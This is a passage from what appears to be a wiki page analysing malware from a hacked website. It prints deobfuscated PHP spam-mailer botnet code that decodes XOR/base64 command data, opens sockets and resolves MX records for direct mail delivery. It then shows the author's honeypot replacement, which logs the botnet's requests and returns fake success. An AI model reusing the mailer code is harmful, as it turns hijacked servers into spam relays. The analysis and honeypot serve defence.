    $senderEmailData[&amp;quot;toList&amp;quot;]    = @preg_split(&amp;quot;/#/&amp;quot;, $postedRecipients);&lt;br /&gt;
    $senderEmailData[&amp;quot;fromLogin&amp;quot;] = $senderEmailData[&amp;quot;fromName&amp;quot;] = $senderEmailData[&amp;quot;subjTempl&amp;quot;] = $senderEmailData[&amp;quot;bodyTempl&amp;quot;] = &amp;quot;&amp;quot;;&lt;br /&gt;
    $qivuk92             = array();&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;USER&amp;gt;(.*?)&amp;lt;\/USER&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;fromLogin&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;NAME&amp;gt;(.*?)&amp;lt;\/NAME&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;fromName&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;SUBJ&amp;gt;(.*?)&amp;lt;\/SUBJ&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;subjTempl&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;SBODY&amp;gt;(.*?)&amp;lt;\/SBODY&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;bodyTempl&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    $senderEmailData[&amp;quot;hostFrom&amp;quot;] = @preg_replace(&amp;quot;/^(www|ftp)\./i&amp;quot;, &#039;&#039;, $_SERVER[&amp;quot;HTTP_HOST&amp;quot;]);&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
function getPostData($r76, $postIndex, $messageEncoded)&lt;br /&gt;
{&lt;br /&gt;
    if (!isset($postIndex) || $postIndex == &amp;quot;&amp;quot;) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $message = @$_POST[$postIndex];&lt;br /&gt;
    if ($messageEncoded) {&lt;br /&gt;
        $message = messageDecode($r76, $message);&lt;br /&gt;
        for ($i = 0; $i &amp;lt; strlen($message); $i++) {&lt;br /&gt;
            $message[$i] = chr(ord($message[$i]) ^ 2);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return urldecode(stripslashes($message));&lt;br /&gt;
}&lt;br /&gt;
function messageDecode($r76, $rxuwy6)&lt;br /&gt;
{&lt;br /&gt;
    $data = &amp;quot;&amp;quot;;&lt;br /&gt;
    for ($i = 0; $i &amp;lt; 256; $i++) {&lt;br /&gt;
        $vefvn90[$i] = chr($i);&lt;br /&gt;
    }&lt;br /&gt;
    $adcpo58 = array_flip(preg_split(&amp;quot;//&amp;quot;, &amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&amp;quot;, -1, 1));&lt;br /&gt;
    $rfsny13 = array();&lt;br /&gt;
    preg_match_all(&amp;quot;([A-z0-9+\/]{1,4})&amp;quot;, $rxuwy6, $rfsny13);&lt;br /&gt;
    foreach ($rfsny13[0] as $dkpwg91) {&lt;br /&gt;
        $omqhl54 = 0;&lt;br /&gt;
        for ($i = 0; isset($dkpwg91[$i]); $i++) {&lt;br /&gt;
            $omqhl54 = ($omqhl54 &amp;lt;&amp;lt; 6) + $adcpo58[$dkpwg91[$i]];&lt;br /&gt;
            if ($i &amp;gt; 0) {&lt;br /&gt;
                $data .= $vefvn90[$omqhl54 &amp;gt;&amp;gt; (4 - (2 * ($i - 1)))];&lt;br /&gt;
                $omqhl54 = $omqhl54 &amp;amp; (0xf &amp;gt;&amp;gt; (2 * ($i - 1)));&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $data;&lt;br /&gt;
}&lt;br /&gt;
function encode_data($r76, $input)&lt;br /&gt;
{&lt;br /&gt;
    for ($i = 0; $i &amp;lt; strlen($input); $i++) {&lt;br /&gt;
        $input[$i] = chr(ord($input[$i]) ^ 2);&lt;br /&gt;
    }&lt;br /&gt;
    return base64_encode($input);&lt;br /&gt;
}&lt;br /&gt;
function socketFactory($r76, $fsock, $socketProtocol, $address, $port, $timeout, &amp;amp;$errno, &amp;amp;$errstr, $nonblock = false)&lt;br /&gt;
{&lt;br /&gt;
    $protocol = &amp;quot;&amp;quot;;&lt;br /&gt;
    $socketProtocol = NULL;&lt;br /&gt;
    $socketType  = NULL;&lt;br /&gt;
    $errno = 0;&lt;br /&gt;
    $errstr = &amp;quot;&amp;quot;;&lt;br /&gt;
    if ($socketProtocol == constant(&amp;quot;SOCKET_PROTO_TCP&amp;quot;)) {&lt;br /&gt;
        $protocol = &amp;quot;tcp&amp;quot;;&lt;br /&gt;
        $socketProtocol = SOL_TCP;&lt;br /&gt;
        $socketType  = SOCK_STREAM;&lt;br /&gt;
    } else if ($socketProtocol == constant(&amp;quot;SOCKET_PROTO_UDP&amp;quot;)) {&lt;br /&gt;
        $protocol = &amp;quot;udp&amp;quot;;&lt;br /&gt;
        $socketType  = SOCK_DGRAM;&lt;br /&gt;
        $socketProtocol = SOL_UDP;&lt;br /&gt;
    } else {&lt;br /&gt;
        $errstr = &amp;quot;Error: invalid protocol&amp;quot;;&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    switch (constant(&amp;quot;SOCKET_TYPE&amp;quot;)) {&lt;br /&gt;
        case constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;):&lt;br /&gt;
            if ($fsock == FALSE) {&lt;br /&gt;
                $fsock = @socket_create(AF_INET, $socketType, $socketProtocol);&lt;br /&gt;
                if ($fsock == FALSE) {&lt;br /&gt;
                    $errno = socket_last_error();&lt;br /&gt;
                    $errstr = socket_strerror($errno);&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                socket_set_option($fsock, SOL_SOCKET, SO_REUSEADDR, 1);&lt;br /&gt;
                socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array(&lt;br /&gt;
                    &amp;quot;sec&amp;quot; =&amp;gt; $timeout,&lt;br /&gt;
                    &amp;quot;usec&amp;quot; =&amp;gt; 0&lt;br /&gt;
                ));&lt;br /&gt;
                socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array(&lt;br /&gt;
                    &amp;quot;sec&amp;quot; =&amp;gt; $timeout,&lt;br /&gt;
                    &amp;quot;usec&amp;quot; =&amp;gt; 0&lt;br /&gt;
                ));&lt;br /&gt;
                if ($nonblock) {&lt;br /&gt;
                    socket_set_nonblock($fsock);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            if (!@socket_connect($fsock, $address, $port)) {&lt;br /&gt;
                $errno = socket_last_error($fsock);&lt;br /&gt;
                $errstr = socket_strerror($errno);&lt;br /&gt;
            }&lt;br /&gt;
            if ($nonblock) {&lt;br /&gt;
                socket_set_nonblock($fsock);&lt;br /&gt;
            }&lt;br /&gt;
            break;&lt;br /&gt;
        case constant(&amp;quot;SOCKET_TYPE_FSOCKET&amp;quot;):&lt;br /&gt;
            $fsock = @fsockopen($protocol . &amp;quot;://&amp;quot; . $address, $port, $errno, $errstr, $timeout);&lt;br /&gt;
            if ($fsock &amp;amp;&amp;amp; $nonblock) {&lt;br /&gt;
                @stream_set_blocking($fsock, 0);&lt;br /&gt;
            }&lt;br /&gt;
            @stream_set_timeout($fsock, $timeout);&lt;br /&gt;
            break;&lt;br /&gt;
        case constant(&amp;quot;SOCKET_TYPE_STREAM&amp;quot;):&lt;br /&gt;
            $fsock = @stream_socket_client($protocol . &amp;quot;://&amp;quot; . $address . &amp;quot;:&amp;quot; . $port, $errno, $errstr, $timeout);&lt;br /&gt;
            if ($fsock &amp;amp;&amp;amp; $nonblock) {&lt;br /&gt;
                @stream_set_blocking($fsock, 0);&lt;br /&gt;
            }&lt;br /&gt;
            @stream_set_timeout($fsock, $timeout);&lt;br /&gt;
            break;&lt;br /&gt;
        default:&lt;br /&gt;
            $errstr = &amp;quot;Error: invalid socket type&amp;quot;;&lt;br /&gt;
            return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    return $fsock;&lt;br /&gt;
}&lt;br /&gt;
function close_connection($r76, &amp;amp;$fsock)&lt;br /&gt;
{&lt;br /&gt;
    if ($fsock == FALSE) {&lt;br /&gt;
        return;&lt;br /&gt;
    }&lt;br /&gt;
    if (constant(&amp;quot;SOCKET_TYPE&amp;quot;) == constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;)) {&lt;br /&gt;
        @socket_close($fsock);&lt;br /&gt;
    } else {&lt;br /&gt;
        @fclose($fsock);&lt;br /&gt;
    }&lt;br /&gt;
    $fsock = FALSE;&lt;br /&gt;
    return;&lt;br /&gt;
}&lt;br /&gt;
function read_socket_data($r76, $fsock, $bytesToRead, &amp;amp;$errno, &amp;amp;$errstr)&lt;br /&gt;
{&lt;br /&gt;
    if ($fsock == FALSE) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    if (constant(&amp;quot;SOCKET_TYPE&amp;quot;) == constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;)) {&lt;br /&gt;
        $socketData = @read_socket_data($fsock, $bytesToRead, PHP_BINARY_READ);&lt;br /&gt;
        if ($socketData == FALSE) {&lt;br /&gt;
            $errno = socket_last_error($fsock);&lt;br /&gt;
            $errstr = socket_strerror($errno);&lt;br /&gt;
        }&lt;br /&gt;
    } else {&lt;br /&gt;
        if (@feof($fsock)) {&lt;br /&gt;
            return FALSE;&lt;br /&gt;
        }&lt;br /&gt;
        $socketData = @fread($fsock, $bytesToRead);&lt;br /&gt;
        if (strlen($socketData) == 0) {&lt;br /&gt;
            $errno = 35;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $socketData;&lt;br /&gt;
}&lt;br /&gt;
function write_socket_data($r76, $fsock, $data, &amp;amp;$errno, &amp;amp;$errstr)&lt;br /&gt;
{&lt;br /&gt;
    if ($fsock == FALSE) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    if (constant(&amp;quot;SOCKET_TYPE&amp;quot;) == constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;)) {&lt;br /&gt;
        $socketData = @socket_write($fsock, $data);&lt;br /&gt;
        if ($socketData == FALSE) {&lt;br /&gt;
            $errno = socket_last_error($fsock);&lt;br /&gt;
            $errstr = socket_strerror($errno);&lt;br /&gt;
        }&lt;br /&gt;
    } else {&lt;br /&gt;
        if (@feof($fsock)) {&lt;br /&gt;
            return FALSE;&lt;br /&gt;
        }&lt;br /&gt;
        $socketData = @fwrite($fsock, $data);&lt;br /&gt;
    }&lt;br /&gt;
    return $socketData;&lt;br /&gt;
}&lt;br /&gt;
function wdtjf68($r76, $fsock, $timeout)&lt;br /&gt;
{&lt;br /&gt;
    if ($fsock == FALSE) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    if (constant(&amp;quot;SOCKET_TYPE&amp;quot;) == constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;)) {&lt;br /&gt;
        @socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array(&lt;br /&gt;
            &amp;quot;sec&amp;quot; =&amp;gt; $timeout,&lt;br /&gt;
            &amp;quot;usec&amp;quot; =&amp;gt; 0&lt;br /&gt;
        ));&lt;br /&gt;
        @socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array(&lt;br /&gt;
            &amp;quot;sec&amp;quot; =&amp;gt; $timeout,&lt;br /&gt;
            &amp;quot;usec&amp;quot; =&amp;gt; 0&lt;br /&gt;
        ));&lt;br /&gt;
    } else {&lt;br /&gt;
        @stream_set_timeout($fsock, $timeout);&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
function resolveDnsName($r76, $hostname, $jvanz2)&lt;br /&gt;
{&lt;br /&gt;
    $errno = 0;&lt;br /&gt;
    $errstr = &amp;quot;&amp;quot;;&lt;br /&gt;
    $fsock = socketFactory($r76, FALSE, constant(&amp;quot;SOCKET_PROTO_UDP&amp;quot;), &amp;quot;8.8.8.8&amp;quot;, 53, 10, $errno, $errstr);&lt;br /&gt;
    if (!$fsock) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $lsxth41 = rand(0x0001, 0xFFFE);&lt;br /&gt;
    $uamee6  = explode(&amp;quot;J&amp;quot;, $hostname);&lt;br /&gt;
    $payload = pack(&amp;quot;nnnnnn&amp;quot;, $lsxth41, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);&lt;br /&gt;
    foreach ($uamee6 as $sahcc1) {&lt;br /&gt;
        $payload .= pack(&amp;quot;Ca*&amp;quot;, strlen($sahcc1), $sahcc1);&lt;br /&gt;
    }&lt;br /&gt;
    $payload .= pack(&amp;quot;Cnn&amp;quot;, 0x00, $jvanz2, 0x0001);&lt;br /&gt;
    $socketStatus = write_socket_data($r76, $fsock, $payload, $errno, $errstr);&lt;br /&gt;
    if (!$socketStatus || $socketStatus != strlen($payload)) {&lt;br /&gt;
        close_connection($r76, $fsock);&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $dnsResponse = read_socket_data($r76, $fsock, 4086, $errno, $errstr);&lt;br /&gt;
    if ($dnsResponse == FALSE || strlen($dnsResponse) &amp;lt; 12) {&lt;br /&gt;
        close_connection($r76, $fsock);&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $eynrg66 = unpack(&amp;quot;ntid/nflags/nque/nans/nauth/nadd&amp;quot;, substr($dnsResponse, 0, 12));&lt;br /&gt;
    $zjthw11 = 12;&lt;br /&gt;
    $dnsData = array(&lt;br /&gt;
        &amp;quot;header&amp;quot; =&amp;gt; $eynrg66&lt;br /&gt;
    );&lt;br /&gt;
    for ($i = constant(&amp;quot;DNS_STEP_QESTION&amp;quot;); $i &amp;lt;= constant(&amp;quot;DNS_STEP_ADDITIONAL&amp;quot;); $i++) {&lt;br /&gt;
        $trxcp25 = &#039;&#039;;&lt;br /&gt;
        switch ($i) {&lt;br /&gt;
            case constant(&amp;quot;DNS_STEP_QESTION&amp;quot;):&lt;br /&gt;
                $trxcp25 = &amp;quot;que&amp;quot;;&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;DNS_STEP_ANSWER&amp;quot;):&lt;br /&gt;
                $trxcp25 = &amp;quot;ans&amp;quot;;&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;DNS_STEP_AUTHORITY&amp;quot;):&lt;br /&gt;
                $trxcp25 = &amp;quot;auth&amp;quot;;&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;DNS_STEP_ADDITIONAL&amp;quot;):&lt;br /&gt;
                $trxcp25 = &amp;quot;add&amp;quot;;&lt;br /&gt;
                break;&lt;br /&gt;
        }&lt;br /&gt;
        for ($ybjpw87 = 0; $ybjpw87 &amp;lt; $eynrg66[$trxcp25]; $ybjpw87++) {&lt;br /&gt;
            $dnsRecordData[&amp;quot;name&amp;quot;] = cgzhg7($r76, $zjthw11, $dnsResponse);&lt;br /&gt;
            if ($i == constant(&amp;quot;DNS_STEP_QESTION&amp;quot;)) {&lt;br /&gt;
                $dnsRecordData = array_merge($dnsRecordData, unpack(&amp;quot;ntype/nclass&amp;quot;, substr($dnsResponse, $zjthw11, 4)));&lt;br /&gt;
                $zjthw11 += 4;&lt;br /&gt;
            } else {&lt;br /&gt;
                $dnsRecordData = array_merge($dnsRecordData, unpack(&amp;quot;ntype/nclass/Nttl/ndatalength&amp;quot;, substr($dnsResponse, $zjthw11, 10)));&lt;br /&gt;
                $zjthw11 += 10;&lt;br /&gt;
                switch ($dnsRecordData[&amp;quot;type&amp;quot;]) {&lt;br /&gt;
                    case constant(&amp;quot;DNS_TYPE_MX&amp;quot;):&lt;br /&gt;
                        $dnsRecordData = array_merge($dnsRecordData, unpack(&amp;quot;npreference&amp;quot;, substr($dnsResponse, $zjthw11, 2)));&lt;br /&gt;
                        $zjthw11 += 2;&lt;br /&gt;
                        $dnsRecordData[&amp;quot;data&amp;quot;] = cgzhg7($r76, $zjthw11, $dnsResponse);&lt;br /&gt;
                        break;&lt;br /&gt;
                    case constant(&amp;quot;DNS_TYPE_A&amp;quot;):&lt;br /&gt;
                        $dnsRecordData = array_merge($dnsRecordData, unpack(&amp;quot;Ndata&amp;quot;, substr($dnsResponse, $zjthw11, 4)));&lt;br /&gt;
                        $zjthw11 += 4;&lt;br /&gt;
                        $dnsRecordData[&amp;quot;ip&amp;quot;] = long2ip($dnsRecordData[&amp;quot;data&amp;quot;]);&lt;br /&gt;
                        break;&lt;br /&gt;
                    case constant(&amp;quot;DNS_TYPE_NS&amp;quot;):&lt;br /&gt;
                        $dnsRecordData[&amp;quot;data&amp;quot;] = cgzhg7($r76, $zjthw11, $dnsResponse);&lt;br /&gt;
                        break;&lt;br /&gt;
                    default:&lt;br /&gt;
                        $zjthw11 += $dnsRecordData[&amp;quot;datalength&amp;quot;];&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            $dnsData[$trxcp25][] = $dnsRecordData;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $dnsData;&lt;br /&gt;
}&lt;br /&gt;
function cgzhg7($r76, &amp;amp;$kwgra59, $dnsResponse)&lt;br /&gt;
{&lt;br /&gt;
    $data = &amp;quot;&amp;quot;;&lt;br /&gt;
    $svrpc42 = $kwgra59;&lt;br /&gt;
    while (ord($dnsResponse[$svrpc42]) != 0) {&lt;br /&gt;
        if (ord($dnsResponse[$svrpc42]) == 0xC0) {&lt;br /&gt;
            if ($svrpc42 &amp;gt;= $kwgra59) {&lt;br /&gt;
                $kwgra59 += 2;&lt;br /&gt;
            }&lt;br /&gt;
            $svrpc42 = ord($dnsResponse[$svrpc42 + 1]);&lt;br /&gt;
            continue;&lt;br /&gt;
        }&lt;br /&gt;
        if (strlen($data) &amp;gt; 0) {&lt;br /&gt;
            $data .= &amp;quot;&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
        $data .= substr($dnsResponse, $svrpc42 + 1, ord($dnsResponse[$svrpc42]));&lt;br /&gt;
        $svrpc42 += ord($dnsResponse[$svrpc42]) + 1;&lt;br /&gt;
        if ($svrpc42 &amp;gt; $kwgra59) {&lt;br /&gt;
            $kwgra59 = $svrpc42;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if ($svrpc42 &amp;gt;= $kwgra59) {&lt;br /&gt;
        $kwgra59 += 1;&lt;br /&gt;
    }&lt;br /&gt;
    return $data;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I made a honey pot script to replace the above hack so that I can gather the botnet&#039;s information. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
@error_reporting(NULL);&lt;br /&gt;
@ini_set(&amp;quot;error_log&amp;quot;, NULL);&lt;br /&gt;
@ini_set(&amp;quot;log_errors&amp;quot;, 0);&lt;br /&gt;
&lt;br /&gt;
// log input data.&lt;br /&gt;
ob_start();&lt;br /&gt;
date_default_timezone_set(&#039;America/Edmonton&#039;);&lt;br /&gt;
echo $_SERVER[&#039;REMOTE_ADDR&#039;] . &amp;quot; at &amp;quot; . date(&amp;quot;M j Y, H:i:s&amp;quot;) . &amp;quot;\n&amp;quot;;&lt;br /&gt;
print_r($_POST);&lt;br /&gt;
print_r($_GET);&lt;br /&gt;
$data = ob_get_contents();&lt;br /&gt;
ob_clean();&lt;br /&gt;
 &lt;br /&gt;
// save it to /tmp/path-to-file-name.log&lt;br /&gt;
$fp = fopen(&amp;quot;/tmp/&amp;quot; . substr(str_replace(&amp;quot;/&amp;quot;, &amp;quot;-&amp;quot;, __FILE__), 1) . &amp;quot;.log&amp;quot;, &amp;quot;a+&amp;quot;);&lt;br /&gt;
fwrite($fp, $data);&lt;br /&gt;
fclose($fp);&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Attempt to parse the data using their (decoded) routines.&lt;br /&gt;
//&lt;br /&gt;
if (FALSE == getDataFromPost($senderEmailData)) {&lt;br /&gt;
    echo PHP_OS . &amp;quot;+&amp;quot; . md5(0987654321) . &amp;quot;+01+[[]]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    exit;&lt;br /&gt;
}&lt;br /&gt;
print_r($senderEmailData);&lt;br /&gt;
// Honey pot - do nothing but appear return a OK message.&lt;br /&gt;
$successes = count($senderEmailData[&#039;toList&#039;]);&lt;br /&gt;
$successes = count($senderEmailData[&#039;toList&#039;]);&lt;br /&gt;
$methods = &amp;quot;&amp;quot;;&lt;br /&gt;
for ($i = 0; $i &amp;lt; $successes; $i++) {&lt;br /&gt;
	$methods .= &amp;quot;1&amp;quot;; // 1 = socket, 2 = mail()&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// delay so it appears to be doing actual work&lt;br /&gt;
sleep(mt_rand(5, 10));&lt;br /&gt;
&lt;br /&gt;
// Give it 100% success using socket methods&lt;br /&gt;
echo &amp;quot;OK+&amp;quot; . md5(1234567890) . &amp;quot;+&amp;quot; . $successes . &amp;quot;+&amp;quot; . $successes . &amp;quot;+[&amp;quot; . $methods . &amp;quot;]&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
exit;&lt;br /&gt;
&lt;br /&gt;
function getDataFromPost(&amp;amp;$senderEmailData)&lt;br /&gt;
{&lt;br /&gt;
    if (count($_POST) &amp;lt; 2) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
	&lt;br /&gt;
    $messageEncoded = false;&lt;br /&gt;
    $listPostKey = $dataPostKey = &amp;quot;&amp;quot;;&lt;br /&gt;
    foreach (array_keys($_POST) as $key) {&lt;br /&gt;
        if ($key[0] == &amp;quot;l&amp;quot;) {&lt;br /&gt;
            $listPostKey = $key;&lt;br /&gt;
        }&lt;br /&gt;
        if ($key[0] == &amp;quot;d&amp;quot;) {&lt;br /&gt;
            $dataPostKey = $key;&lt;br /&gt;
        }&lt;br /&gt;
        if ($key[0] == &amp;quot;e&amp;quot;) {&lt;br /&gt;
            $messageEncoded = true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if ($listPostKey == &amp;quot;&amp;quot; || $dataPostKey == &amp;quot;&amp;quot;) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $postedRecipients = getPostData($listPostKey, $messageEncoded);&lt;br /&gt;
    $postedData = getPostData($dataPostKey, $messageEncoded);&lt;br /&gt;
    if ($postedRecipients == FALSE || $postedData == FALSE) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $senderEmailData[&amp;quot;toList&amp;quot;]    = @preg_split(&amp;quot;/#/&amp;quot;, $postedRecipients);&lt;br /&gt;
    $senderEmailData[&amp;quot;fromLogin&amp;quot;] = $senderEmailData[&amp;quot;fromName&amp;quot;] = $senderEmailData[&amp;quot;subjTempl&amp;quot;] = $senderEmailData[&amp;quot;bodyTempl&amp;quot;] = &amp;quot;&amp;quot;;&lt;br /&gt;
    $qivuk92             = array();&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;USER&amp;gt;(.*?)&amp;lt;\/USER&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;fromLogin&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;NAME&amp;gt;(.*?)&amp;lt;\/NAME&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;fromName&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;SUBJ&amp;gt;(.*?)&amp;lt;\/SUBJ&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;subjTempl&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    if (FALSE !== @preg_match(&amp;quot;/&amp;lt;SBODY&amp;gt;(.*?)&amp;lt;\/SBODY&amp;gt;/ism&amp;quot;, $postedData, $qivuk92) &amp;amp;&amp;amp; isset($qivuk92) &amp;amp;&amp;amp; count($qivuk92) &amp;gt; 1) {&lt;br /&gt;
        $senderEmailData[&amp;quot;bodyTempl&amp;quot;] = $qivuk92[1];&lt;br /&gt;
    }&lt;br /&gt;
    $senderEmailData[&amp;quot;hostFrom&amp;quot;] = @preg_replace(&amp;quot;/^(www|ftp)\./i&amp;quot;, &#039;&#039;, $_SERVER[&amp;quot;HTTP_HOST&amp;quot;]);&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
function getPostData($postIndex, $messageEncoded)&lt;br /&gt;
{&lt;br /&gt;
    if (!isset($postIndex) || $postIndex == &amp;quot;&amp;quot;) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $message = @$_POST[$postIndex];&lt;br /&gt;
    if ($messageEncoded) {&lt;br /&gt;
        $message = messageDecode($message);&lt;br /&gt;
        for ($i = 0; $i &amp;lt; strlen($message); $i++) {&lt;br /&gt;
            $message[$i] = chr(ord($message[$i]) ^ 2);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return urldecode(stripslashes($message));&lt;br /&gt;
}&lt;br /&gt;
function messageDecode($rxuwy6)&lt;br /&gt;
{&lt;br /&gt;
    $data = &amp;quot;&amp;quot;;&lt;br /&gt;
    for ($i = 0; $i &amp;lt; 256; $i++) {&lt;br /&gt;
        $vefvn90[$i] = chr($i);&lt;br /&gt;
    }&lt;br /&gt;
    $adcpo58 = array_flip(preg_split(&amp;quot;//&amp;quot;, &amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&amp;quot;, -1, 1));&lt;br /&gt;
    $rfsny13 = array();&lt;br /&gt;
    preg_match_all(&amp;quot;([A-z0-9+\/]{1,4})&amp;quot;, $rxuwy6, $rfsny13);&lt;br /&gt;
    foreach ($rfsny13[0] as $dkpwg91) {&lt;br /&gt;
        $omqhl54 = 0;&lt;br /&gt;
        for ($i = 0; isset($dkpwg91[$i]); $i++) {&lt;br /&gt;
            $omqhl54 = ($omqhl54 &amp;lt;&amp;lt; 6) + $adcpo58[$dkpwg91[$i]];&lt;br /&gt;
            if ($i &amp;gt; 0) {&lt;br /&gt;
                $data .= $vefvn90[$omqhl54 &amp;gt;&amp;gt; (4 - (2 * ($i - 1)))];&lt;br /&gt;
                $omqhl54 = $omqhl54 &amp;amp; (0xf &amp;gt;&amp;gt; (2 * ($i - 1)));&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $data;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PHP Redirecter ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
